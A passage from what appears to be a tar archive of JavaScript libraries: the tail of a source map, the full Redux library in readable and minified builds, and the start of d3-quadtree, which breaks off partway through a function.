AM;oBACN,IAAI,CAAC,mBAAmB,GAAG,IAAI,CAAC,QAAQ,CAAC;iBACzC;aACD;YAED,IAAI,OAAO,SAAS,KAAK,QAAQ,IAAI,SAAS,GAAG,CAAC,EAAE;gBACnD,SAAS,GAAG,UAAU,CAAC,SAAS,EAAE,SAAS,CAAC,CAAC;aAC7C;YAED,IAAI,MAAM,IAAI,IAAI,IAAI,OAAO,IAAI,CAAC,IAAI,KAAK,QAAQ,EAAE;gBACpD,IAAI,CAAC,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;aAC9B;YAED,IAAI;gBACH,KAAK,CACJ,qCAAqC,EACrC,IAAI,CAAC,QAAQ,EACb,GAAG,GAAG,CAAC,MAAM,IAAI,GAAG,CAAC,IAAI,EAAE,CAC3B,CAAC;gBACF,OAAO,CAAC,OAAO,CAAC,IAAI,CAAC,mBAAmB,CAAC,GAAG,EAAE,IAAI,CAAC,CAAC,CAAC,IAAI,CACxD,QAAQ,EACR,aAAa,CACb,CAAC;aACF;YAAC,OAAO,GAAG,EAAE;gBACb,OAAO,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,aAAa,CAAC,CAAC;aACzC;QACF,CAAC;QAED,UAAU,CAAC,MAAkB,EAAE,IAAkB;YAChD,KAAK,CAAC,sBAAsB,EAAE,MAAM,CAAC,WAAW,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;YAC7D,MAAM,CAAC,OAAO,EAAE,CAAC;QAClB,CAAC;QAED,OAAO;YACN,KAAK,CAAC,qBAAqB,EAAE,IAAI,CAAC,WAAW,CAAC,IAAI,CAAC,CAAC;QACrD,CAAC;KACD;IAxPY,iBAAK,QAwPjB,CAAA;IAED,uCAAuC;IACvC,WAAW,CAAC,SAAS,GAAG,WAAW,CAAC,KAAK,CAAC,SAAS,CAAC;AACrD,CAAC,EAtTS,WAAW,KAAX,WAAW,QAsTpB;AAED,iBAAS,WAAW,CAAC"}redux.js000064400000065030151677321630006250 0ustar00(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.Redux = {})); }(this, (function (exports) { 'use strict'; // Inlined version of the `symbol-observable` polyfill var $$observable = (function () { return typeof Symbol === 'function' && Symbol.observable || '@@observable'; })(); /** * These are private action types reserved by Redux. * For any unknown actions, you must return the current state. * If the current state is undefined, you must return the initial state. * Do not reference these action types directly in your code. */ var randomString = function randomString() { return Math.random().toString(36).substring(7).split('').join('.'); }; var ActionTypes = { INIT: "@@redux/INIT" + randomString(), REPLACE: "@@redux/REPLACE" + randomString(), PROBE_UNKNOWN_ACTION: function PROBE_UNKNOWN_ACTION() { return "@@redux/PROBE_UNKNOWN_ACTION" + randomString(); } }; /** * @param {any} obj The object to inspect. * @returns {boolean} True if the argument appears to be a plain object. */ function isPlainObject(obj) { if (typeof obj !== 'object' || obj === null) return false; var proto = obj; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(obj) === proto; } // Inlined / shortened version of `kindOf` from https://github.com/jonschlinkert/kind-of function miniKindOf(val) { if (val === void 0) return 'undefined'; if (val === null) return 'null'; var type = typeof val; switch (type) { case 'boolean': case 'string': case 'number': case 'symbol': case 'function': { return type; } } if (Array.isArray(val)) return 'array'; if (isDate(val)) return 'date'; if (isError(val)) return 'error'; var constructorName = ctorName(val); switch (constructorName) { case 'Symbol': case 'Promise': case 'WeakMap': case 'WeakSet': case 'Map': case 'Set': return constructorName; } // other return type.slice(8, -1).toLowerCase().replace(/\s/g, ''); } function ctorName(val) { return typeof val.constructor === 'function' ? val.constructor.name : null; } function isError(val) { return val instanceof Error || typeof val.message === 'string' && val.constructor && typeof val.constructor.stackTraceLimit === 'number'; } function isDate(val) { if (val instanceof Date) return true; return typeof val.toDateString === 'function' && typeof val.getDate === 'function' && typeof val.setDate === 'function'; } function kindOf(val) { var typeOfVal = typeof val; { typeOfVal = miniKindOf(val); } return typeOfVal; } /** * @deprecated * * **We recommend using the `configureStore` method * of the `@reduxjs/toolkit` package**, which replaces `createStore`. * * Redux Toolkit is our recommended approach for writing Redux logic today, * including store setup, reducers, data fetching, and more. * * **For more details, please read this Redux docs page:** * **https://redux.js.org/introduction/why-rtk-is-redux-today** * * `configureStore` from Redux Toolkit is an improved version of `createStore` that * simplifies setup and helps avoid common bugs. * * You should not be using the `redux` core package by itself today, except for learning purposes. * The `createStore` method from the core `redux` package will not be removed, but we encourage * all users to migrate to using Redux Toolkit for all Redux code. * * If you want to use `createStore` without this visual deprecation warning, use * the `legacy_createStore` import instead: * * `import { legacy_createStore as createStore} from 'redux'` * */ function createStore(reducer, preloadedState, enhancer) { var _ref2; if (typeof preloadedState === 'function' && typeof enhancer === 'function' || typeof enhancer === 'function' && typeof arguments[3] === 'function') { throw new Error('It looks like you are passing several store enhancers to ' + 'createStore(). This is not supported. Instead, compose them ' + 'together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.'); } if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') { enhancer = preloadedState; preloadedState = undefined; } if (typeof enhancer !== 'undefined') { if (typeof enhancer !== 'function') { throw new Error("Expected the enhancer to be a function. Instead, received: '" + kindOf(enhancer) + "'"); } return enhancer(createStore)(reducer, preloadedState); } if (typeof reducer !== 'function') { throw new Error("Expected the root reducer to be a function. Instead, received: '" + kindOf(reducer) + "'"); } var currentReducer = reducer; var currentState = preloadedState; var currentListeners = []; var nextListeners = currentListeners; var isDispatching = false; /** * This makes a shallow copy of currentListeners so we can use * nextListeners as a temporary list while dispatching. * * This prevents any bugs around consumers calling * subscribe/unsubscribe in the middle of a dispatch. */ function ensureCanMutateNextListeners() { if (nextListeners === currentListeners) { nextListeners = currentListeners.slice(); } } /** * Reads the state tree managed by the store. * * @returns {any} The current state tree of your application. */ function getState() { if (isDispatching) { throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.'); } return currentState; } /** * Adds a change listener. It will be called any time an action is dispatched, * and some part of the state tree may potentially have changed. You may then * call `getState()` to read the current state tree inside the callback. * * You may call `dispatch()` from a change listener, with the following * caveats: * * 1. The subscriptions are snapshotted just before every `dispatch()` call. * If you subscribe or unsubscribe while the listeners are being invoked, this * will not have any effect on the `dispatch()` that is currently in progress. * However, the next `dispatch()` call, whether nested or not, will use a more * recent snapshot of the subscription list. * * 2. The listener should not expect to see all state changes, as the state * might have been updated multiple times during a nested `dispatch()` before * the listener is called. It is, however, guaranteed that all subscribers * registered before the `dispatch()` started will be called with the latest * state by the time it exits. * * @param {Function} listener A callback to be invoked on every dispatch. * @returns {Function} A function to remove this change listener. */ function subscribe(listener) { if (typeof listener !== 'function') { throw new Error("Expected the listener to be a function. Instead, received: '" + kindOf(listener) + "'"); } if (isDispatching) { throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.'); } var isSubscribed = true; ensureCanMutateNextListeners(); nextListeners.push(listener); return function unsubscribe() { if (!isSubscribed) { return; } if (isDispatching) { throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.'); } isSubscribed = false; ensureCanMutateNextListeners(); var index = nextListeners.indexOf(listener); nextListeners.splice(index, 1); currentListeners = null; }; } /** * Dispatches an action. It is the only way to trigger a state change. * * The `reducer` function, used to create the store, will be called with the * current state tree and the given `action`. Its return value will * be considered the **next** state of the tree, and the change listeners * will be notified. * * The base implementation only supports plain object actions. If you want to * dispatch a Promise, an Observable, a thunk, or something else, you need to * wrap your store creating function into the corresponding middleware. For * example, see the documentation for the `redux-thunk` package. Even the * middleware will eventually dispatch plain object actions using this method. * * @param {Object} action A plain object representing “what changed”. It is * a good idea to keep actions serializable so you can record and replay user * sessions, or use the time travelling `redux-devtools`. An action must have * a `type` property which may not be `undefined`. It is a good idea to use * string constants for action types. * * @returns {Object} For convenience, the same action object you dispatched. * * Note that, if you use a custom middleware, it may wrap `dispatch()` to * return something else (for example, a Promise you can await). */ function dispatch(action) { if (!isPlainObject(action)) { throw new Error("Actions must be plain objects. Instead, the actual type was: '" + kindOf(action) + "'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples."); } if (typeof action.type === 'undefined') { throw new Error('Actions may not have an undefined "type" property. You may have misspelled an action type string constant.'); } if (isDispatching) { throw new Error('Reducers may not dispatch actions.'); } try { isDispatching = true; currentState = currentReducer(currentState, action); } finally { isDispatching = false; } var listeners = currentListeners = nextListeners; for (var i = 0; i < listeners.length; i++) { var listener = listeners[i]; listener(); } return action; } /** * Replaces the reducer currently used by the store to calculate the state. * * You might need this if your app implements code splitting and you want to * load some of the reducers dynamically. You might also need this if you * implement a hot reloading mechanism for Redux. * * @param {Function} nextReducer The reducer for the store to use instead. * @returns {void} */ function replaceReducer(nextReducer) { if (typeof nextReducer !== 'function') { throw new Error("Expected the nextReducer to be a function. Instead, received: '" + kindOf(nextReducer)); } currentReducer = nextReducer; // This action has a similiar effect to ActionTypes.INIT. // Any reducers that existed in both the new and old rootReducer // will receive the previous state. This effectively populates // the new state tree with any relevant data from the old one. dispatch({ type: ActionTypes.REPLACE }); } /** * Interoperability point for observable/reactive libraries. * @returns {observable} A minimal observable of state changes. * For more information, see the observable proposal: * https://github.com/tc39/proposal-observable */ function observable() { var _ref; var outerSubscribe = subscribe; return _ref = { /** * The minimal observable subscription method. * @param {Object} observer Any object that can be used as an observer. * The observer object should have a `next` method. * @returns {subscription} An object with an `unsubscribe` method that can * be used to unsubscribe the observable from the store, and prevent further * emission of values from the observable. */ subscribe: function subscribe(observer) { if (typeof observer !== 'object' || observer === null) { throw new Error("Expected the observer to be an object. Instead, received: '" + kindOf(observer) + "'"); } function observeState() { if (observer.next) { observer.next(getState()); } } observeState(); var unsubscribe = outerSubscribe(observeState); return { unsubscribe: unsubscribe }; } }, _ref[$$observable] = function () { return this; }, _ref; } // When a store is created, an "INIT" action is dispatched so that every // reducer returns their initial state. This effectively populates // the initial state tree. dispatch({ type: ActionTypes.INIT }); return _ref2 = { dispatch: dispatch, subscribe: subscribe, getState: getState, replaceReducer: replaceReducer }, _ref2[$$observable] = observable, _ref2; } /** * Creates a Redux store that holds the state tree. * * **We recommend using `configureStore` from the * `@reduxjs/toolkit` package**, which replaces `createStore`: * **https://redux.js.org/introduction/why-rtk-is-redux-today** * * The only way to change the data in the store is to call `dispatch()` on it. * * There should only be a single store in your app. To specify how different * parts of the state tree respond to actions, you may combine several reducers * into a single reducer function by using `combineReducers`. * * @param {Function} reducer A function that returns the next state tree, given * the current state tree and the action to handle. * * @param {any} [preloadedState] The initial state. You may optionally specify it * to hydrate the state from the server in universal apps, or to restore a * previously serialized user session. * If you use `combineReducers` to produce the root reducer function, this must be * an object with the same shape as `combineReducers` keys. * * @param {Function} [enhancer] The store enhancer. You may optionally specify it * to enhance the store with third-party capabilities such as middleware, * time travel, persistence, etc. The only store enhancer that ships with Redux * is `applyMiddleware()`. * * @returns {Store} A Redux store that lets you read the state, dispatch actions * and subscribe to changes. */ var legacy_createStore = createStore; /** * Prints a warning in the console if it exists. * * @param {String} message The warning message. * @returns {void} */ function warning(message) { /* eslint-disable no-console */ if (typeof console !== 'undefined' && typeof console.error === 'function') { console.error(message); } /* eslint-enable no-console */ try { // This error was thrown as a convenience so that if you enable // "break on all exceptions" in your console, // it would pause the execution at this line. throw new Error(message); } catch (e) {} // eslint-disable-line no-empty } function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) { var reducerKeys = Object.keys(reducers); var argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer'; if (reducerKeys.length === 0) { return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.'; } if (!isPlainObject(inputState)) { return "The " + argumentName + " has unexpected type of \"" + kindOf(inputState) + "\". Expected argument to be an object with the following " + ("keys: \"" + reducerKeys.join('", "') + "\""); } var unexpectedKeys = Object.keys(inputState).filter(function (key) { return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key]; }); unexpectedKeys.forEach(function (key) { unexpectedKeyCache[key] = true; }); if (action && action.type === ActionTypes.REPLACE) return; if (unexpectedKeys.length > 0) { return "Unexpected " + (unexpectedKeys.length > 1 ? 'keys' : 'key') + " " + ("\"" + unexpectedKeys.join('", "') + "\" found in " + argumentName + ". ") + "Expected to find one of the known reducer keys instead: " + ("\"" + reducerKeys.join('", "') + "\". Unexpected keys will be ignored."); } } function assertReducerShape(reducers) { Object.keys(reducers).forEach(function (key) { var reducer = reducers[key]; var initialState = reducer(undefined, { type: ActionTypes.INIT }); if (typeof initialState === 'undefined') { throw new Error("The slice reducer for key \"" + key + "\" returned undefined during initialization. " + "If the state passed to the reducer is undefined, you must " + "explicitly return the initial state. The initial state may " + "not be undefined. If you don't want to set a value for this reducer, " + "you can use null instead of undefined."); } if (typeof reducer(undefined, { type: ActionTypes.PROBE_UNKNOWN_ACTION() }) === 'undefined') { throw new Error("The slice reducer for key \"" + key + "\" returned undefined when probed with a random type. " + ("Don't try to handle '" + ActionTypes.INIT + "' or other actions in \"redux/*\" ") + "namespace. They are considered private. Instead, you must return the " + "current state for any unknown actions, unless it is undefined, " + "in which case you must return the initial state, regardless of the " + "action type. The initial state may not be undefined, but can be null."); } }); } /** * Turns an object whose values are different reducer functions, into a single * reducer function. It will call every child reducer, and gather their results * into a single state object, whose keys correspond to the keys of the passed * reducer functions. * * @param {Object} reducers An object whose values correspond to different * reducer functions that need to be combined into one. One handy way to obtain * it is to use ES6 `import * as reducers` syntax. The reducers may never return * undefined for any action. Instead, they should return their initial state * if the state passed to them was undefined, and the current state for any * unrecognized action. * * @returns {Function} A reducer function that invokes every reducer inside the * passed object, and builds a state object with the same shape. */ function combineReducers(reducers) { var reducerKeys = Object.keys(reducers); var finalReducers = {}; for (var i = 0; i < reducerKeys.length; i++) { var key = reducerKeys[i]; { if (typeof reducers[key] === 'undefined') { warning("No reducer provided for key \"" + key + "\""); } } if (typeof reducers[key] === 'function') { finalReducers[key] = reducers[key]; } } var finalReducerKeys = Object.keys(finalReducers); // This is used to make sure we don't warn about the same // keys multiple times. var unexpectedKeyCache; { unexpectedKeyCache = {}; } var shapeAssertionError; try { assertReducerShape(finalReducers); } catch (e) { shapeAssertionError = e; } return function combination(state, action) { if (state === void 0) { state = {}; } if (shapeAssertionError) { throw shapeAssertionError; } { var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache); if (warningMessage) { warning(warningMessage); } } var hasChanged = false; var nextState = {}; for (var _i = 0; _i < finalReducerKeys.length; _i++) { var _key = finalReducerKeys[_i]; var reducer = finalReducers[_key]; var previousStateForKey = state[_key]; var nextStateForKey = reducer(previousStateForKey, action); if (typeof nextStateForKey === 'undefined') { var actionType = action && action.type; throw new Error("When called with an action of type " + (actionType ? "\"" + String(actionType) + "\"" : '(unknown type)') + ", the slice reducer for key \"" + _key + "\" returned undefined. " + "To ignore an action, you must explicitly return the previous state. " + "If you want this reducer to hold no value, you can return null instead of undefined."); } nextState[_key] = nextStateForKey; hasChanged = hasChanged || nextStateForKey !== previousStateForKey; } hasChanged = hasChanged || finalReducerKeys.length !== Object.keys(state).length; return hasChanged ? nextState : state; }; } function bindActionCreator(actionCreator, dispatch) { return function () { return dispatch(actionCreator.apply(this, arguments)); }; } /** * Turns an object whose values are action creators, into an object with the * same keys, but with every function wrapped into a `dispatch` call so they * may be invoked directly. This is just a convenience method, as you can call * `store.dispatch(MyActionCreators.doSomething())` yourself just fine. * * For convenience, you can also pass an action creator as the first argument, * and get a dispatch wrapped function in return. * * @param {Function|Object} actionCreators An object whose values are action * creator functions. One handy way to obtain it is to use ES6 `import * as` * syntax. You may also pass a single function. * * @param {Function} dispatch The `dispatch` function available on your Redux * store. * * @returns {Function|Object} The object mimicking the original object, but with * every action creator wrapped into the `dispatch` call. If you passed a * function as `actionCreators`, the return value will also be a single * function. */ function bindActionCreators(actionCreators, dispatch) { if (typeof actionCreators === 'function') { return bindActionCreator(actionCreators, dispatch); } if (typeof actionCreators !== 'object' || actionCreators === null) { throw new Error("bindActionCreators expected an object or a function, but instead received: '" + kindOf(actionCreators) + "'. " + "Did you write \"import ActionCreators from\" instead of \"import * as ActionCreators from\"?"); } var boundActionCreators = {}; for (var key in actionCreators) { var actionCreator = actionCreators[key]; if (typeof actionCreator === 'function') { boundActionCreators[key] = bindActionCreator(actionCreator, dispatch); } } return boundActionCreators; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread2(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } /** * Composes single-argument functions from right to left. The rightmost * function can take multiple arguments as it provides the signature for * the resulting composite function. * * @param {...Function} funcs The functions to compose. * @returns {Function} A function obtained by composing the argument functions * from right to left. For example, compose(f, g, h) is identical to doing * (...args) => f(g(h(...args))). */ function compose() { for (var _len = arguments.length, funcs = new Array(_len), _key = 0; _key < _len; _key++) { funcs[_key] = arguments[_key]; } if (funcs.length === 0) { return function (arg) { return arg; }; } if (funcs.length === 1) { return funcs[0]; } return funcs.reduce(function (a, b) { return function () { return a(b.apply(void 0, arguments)); }; }); } /** * Creates a store enhancer that applies middleware to the dispatch method * of the Redux store. This is handy for a variety of tasks, such as expressing * asynchronous actions in a concise manner, or logging every action payload. * * See `redux-thunk` package as an example of the Redux middleware. * * Because middleware is potentially asynchronous, this should be the first * store enhancer in the composition chain. * * Note that each middleware will be given the `dispatch` and `getState` functions * as named arguments. * * @param {...Function} middlewares The middleware chain to be applied. * @returns {Function} A store enhancer applying the middleware. */ function applyMiddleware() { for (var _len = arguments.length, middlewares = new Array(_len), _key = 0; _key < _len; _key++) { middlewares[_key] = arguments[_key]; } return function (createStore) { return function () { var store = createStore.apply(void 0, arguments); var _dispatch = function dispatch() { throw new Error('Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.'); }; var middlewareAPI = { getState: store.getState, dispatch: function dispatch() { return _dispatch.apply(void 0, arguments); } }; var chain = middlewares.map(function (middleware) { return middleware(middlewareAPI); }); _dispatch = compose.apply(void 0, chain)(store.dispatch); return _objectSpread2(_objectSpread2({}, store), {}, { dispatch: _dispatch }); }; }; } exports.__DO_NOT_USE__ActionTypes = ActionTypes; exports.applyMiddleware = applyMiddleware; exports.bindActionCreators = bindActionCreators; exports.combineReducers = combineReducers; exports.compose = compose; exports.createStore = createStore; exports.legacy_createStore = legacy_createStore; Object.defineProperty(exports, '__esModule', { value: true }); }))); redux.min.js000064400000010354151677321630007031 0ustar00!function(r,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((r="undefined"!=typeof globalThis?globalThis:r||self).Redux={})}(this,(function(r){"use strict";function t(r){return"Minified Redux error #"+r+"; visit https://redux.js.org/Errors?code="+r+" for the full message or use the non-minified dev environment for full errors. "}var e="function"==typeof Symbol&&Symbol.observable||"@@observable",n=function(){return Math.random().toString(36).substring(7).split("").join(".")},o={INIT:"@@redux/INIT"+n(),REPLACE:"@@redux/REPLACE"+n(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+n()}};function i(r){if("object"!=typeof r||null===r)return!1;for(var t=r;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(r)===t}function f(r,n,u){var c;if("function"==typeof n&&"function"==typeof u||"function"==typeof u&&"function"==typeof arguments[3])throw Error(t(0));if("function"==typeof n&&void 0===u&&(u=n,n=void 0),void 0!==u){if("function"!=typeof u)throw Error(t(1));return u(f)(r,n)}if("function"!=typeof r)throw Error(t(2));var p=r,a=n,l=[],y=l,s=!1;function d(){y===l&&(y=l.slice())}function b(){if(s)throw Error(t(3));return a}function h(r){if("function"!=typeof r)throw Error(t(4));if(s)throw Error(t(5));var e=!0;return d(),y.push(r),function(){if(e){if(s)throw Error(t(6));e=!1,d();var n=y.indexOf(r);y.splice(n,1),l=null}}}function v(r){if(!i(r))throw Error(t(7));if(void 0===r.type)throw Error(t(8));if(s)throw Error(t(9));try{s=!0,a=p(a,r)}finally{s=!1}for(var e=l=y,n=0;e.length>n;n++){(0,e[n])()}return r}function O(r){if("function"!=typeof r)throw Error(t(10));p=r,v({type:o.REPLACE})}function E(){var r,n=h;return(r={subscribe:function(r){if("object"!=typeof r||null===r)throw Error(t(11));function e(){r.next&&r.next(b())}return e(),{unsubscribe:n(e)}}})[e]=function(){return this},r}return v({type:o.INIT}),(c={dispatch:v,subscribe:h,getState:b,replaceReducer:O})[e]=E,c}var u=f;function c(r,t){return function(){return t(r.apply(this,arguments))}}function p(r,t,e){return t in r?Object.defineProperty(r,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):r[t]=e,r}function a(r,t){var e=Object.keys(r);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(r);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable}))),e.push.apply(e,n)}return e}function l(r){for(var t=1;arguments.length>t;t++){var e=null!=arguments[t]?arguments[t]:{};t%2?a(Object(e),!0).forEach((function(t){p(r,t,e[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(e)):a(Object(e)).forEach((function(t){Object.defineProperty(r,t,Object.getOwnPropertyDescriptor(e,t))}))}return r}function y(){for(var r=arguments.length,t=Array(r),e=0;r>e;e++)t[e]=arguments[e];return 0===t.length?function(r){return r}:1===t.length?t[0]:t.reduce((function(r,t){return function(){return r(t.apply(void 0,arguments))}}))}r.__DO_NOT_USE__ActionTypes=o,r.applyMiddleware=function(){for(var r=arguments.length,e=Array(r),n=0;r>n;n++)e[n]=arguments[n];return function(r){return function(){var n=r.apply(void 0,arguments),o=function(){throw Error(t(15))},i={getState:n.getState,dispatch:function(){return o.apply(void 0,arguments)}},f=e.map((function(r){return r(i)}));return o=y.apply(void 0,f)(n.dispatch),l(l({},n),{},{dispatch:o})}}},r.bindActionCreators=function(r,e){if("function"==typeof r)return c(r,e);if("object"!=typeof r||null===r)throw Error(t(16));var n={};for(var o in r){var i=r[o];"function"==typeof i&&(n[o]=c(i,e))}return n},r.combineReducers=function(r){for(var e=Object.keys(r),n={},i=0;e.length>i;i++){var f=e[i];"function"==typeof r[f]&&(n[f]=r[f])}var u,c=Object.keys(n);try{!function(r){Object.keys(r).forEach((function(e){var n=r[e];if(void 0===n(void 0,{type:o.INIT}))throw Error(t(12));if(void 0===n(void 0,{type:o.PROBE_UNKNOWN_ACTION()}))throw Error(t(13))}))}(n)}catch(r){u=r}return function(r,e){if(void 0===r&&(r={}),u)throw u;for(var o=!1,i={},f=0;c.length>f;f++){var p=c[f],a=r[p],l=(0,n[p])(a,e);if(void 0===l)throw Error(t(14));i[p]=l,o=o||l!==a}return(o=o||c.length!==Object.keys(r).length)?i:r}},r.compose=y,r.createStore=f,r.legacy_createStore=u,Object.defineProperty(r,"__esModule",{value:!0})})); d3-quadtree.js000064400000030246151677323100007232 0ustar00// https://d3js.org/d3-quadtree/ v1.0.5 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; function tree_add(d) { var x = +this._x.call(null, d), y = +this._y.call(null, d); return add(this.cover(x, y), x, y, d); } function add(tree, x, y, d) { if (isNaN(x) || isNaN(y)) return tree; // ignore invalid points var parent, node = tree._root, leaf = {data: d}, x0 = tree._x0, y0 = tree._y0, x1 = tree._x1, y1 = tree._y1, xm, ym, xp, yp, right, bottom, i, j; // If the tree is empty, initialize the root as a leaf. if (!node) return tree._root = leaf, tree; // Find the existing leaf for the new point, or add it. while (node.length) { if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; if (parent = node, !(node = node[i = bottom << 1 | right])) return parent[i] = leaf, tree; } // Is the new point is exactly coincident with the existing point? xp = +tree._x.call(null, node.data); yp = +tree._y.call(null, node.data); if (x === xp && y === yp) return leaf.next = node, parent ? parent[i] = leaf : tree._root = leaf, tree; // Otherwise, split the leaf node until the old and new point are separated. do { parent = parent ? parent[i] = new Array(4) : tree._root = new Array(4); if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; } while ((i = bottom << 1 | right) === (j = (yp >= ym) << 1 | (xp >= xm))); return parent[j] = node, parent[i] = leaf, tree; } function addAll(data) { var d, i, n = data.length, x, y, xz = new Array(n), yz = new Array(n), x0 = Infinity, y0 = Infinity, x1 = -Infinity, y1 = -Infinity; // Compute the points and their extent. for (i = 0; i < n; ++i) { if (isNaN(x = +this._x.call(null, d = data[i])) || isNaN(y = +this._y.call(null, d))) continue; xz[i] = x; yz[i] = y; if (x < x0) x0 = x; if (x > x1) x1 = x; if (y < y0) y0 = y; if (y > y1) y1 = y; } // If there were no (valid) points, inherit the existing extent. if (x1 < x0) x0 = this._x0, x1 = this._x1; if (y1 < y0) y0 = this._y0, y1 = this._y1; // Expand the tree to cover the new points. this.cover(x0, y0).cover(x1, y1); // Add the new points. for (i = 0; i < n; ++i) { add(this, xz[i], yz[i], data[i]); } return this; } function tree_cover(x, y) { if (isNaN(x = +x) || isNaN(y = +y)) return this; // ignore invalid points var x0 = this._x0, y0 = this._y0, x1 = this._x1, y1 = this._y1; // If the quadtree has no extent, initialize them. // Integer extent are necessary so that if we later double the extent, // the existing quadrant boundaries don’t change due to floating point error! if (isNaN(x0)) { x1 = (x0 = Math.floor(x)) + 1; y1 = (y0 = Math.floor(y)) + 1; } // Otherwise, double repeatedly to cover. else if (x0 > x || x > x1 || y0 > y || y > y1) { var z = x1 - x0, node = this._root, parent, i; switch (i = (y < (y0 + y1) / 2) << 1 | (x < (x0 + x1) / 2)) { case 0: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x1 = x0 + z, y1 = y0 + z, x > x1 || y > y1); break; } case 1: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x0 = x1 - z, y1 = y0 + z, x0 > x || y > y1); break; } case 2: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x1 = x0 + z, y0 = y1 - z, x > x1 || y0 > y); break; } case 3: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x0 = x1 - z, y0 = y1 - z, x0 > x || y0 > y); break; } } if (this._root && this._root.length) this._root = node; } // If the quadtree covers the point already, just return. else return this; this._x0 = x0; this._y0 = y0; this._x1 = x1; this._y1 = y1; return this; } function tree_data() { var data = []; this.visit(function(node) { if (!node.length) do data.push(node.data); while (node = node.next) }); return data; } function tree_extent(_) { return arguments.length ? this.cover(+_[0][0], +_[0][1]).cover(+_[1][0], +_[1][1]) : isNaN(this._x0) ? undefined : [[this._x0, this._y0], [this._x1, this._y1]]; } function Quad(node, x0, y0, x1, y1) { this.node = node; this.x0 = x0; this.y0 = y0; this.x1 = x1; this.y1 = y1; } function tree_find(x, y, radius) { var data, x0 = this._x0, y0 = this._y0, x1, y1, x2, y2, x3 = this._x1, y3 = this._y1, quads = [], node = this._root, q, i; if (node) quads.push(new Quad(node, x0, y0, x3, y3)); if (radius == null) radius = Infinity; else { x0 = x - radius, y0 = y - radius; x3 = x + radius, y3 = y + radius; radius *= radius; } while (q = quads.pop()) { // Stop searching if this quadrant can’t contain a closer node. if (!(node = q.node) || (x1 = q.x0) > x3 || (y1 = q.y0) > y3 || (x2 = q.x1) < x0 || (y2 = q.y1) < y0) continue; // Bisect the current quadrant. if (node.length) { var xm = (x1 + x2) / 2, ym = (y1 + y2) / 2; quads.push( new Quad(node[3], xm, ym, x2, y2), new Quad(node[2], x1, ym, xm, y2), new Quad(node[1], xm, y1, x2, ym), new Quad(node[0], x1, y1, xm, ym) ); // Visit the closest quadrant first. if (i = (y >= ym) << 1 | (x >= xm)) { q = quads[quads.length - 1]; quads[quads.length - 1] = quads[quads.length - 1 - i]; quads[quads.length - 1 - i] = q; } } // Visit this point. (Visiting coincident points isn’t necessary!) else { var dx = x - +this._x.call(null, node.data), dy = y - +this._y.call(null, node.data), d2 = dx * dx + dy * dy; if (d2 < radius) { var d = Math.sqrt(radius = d2); x0 = x - d, y0 = y - 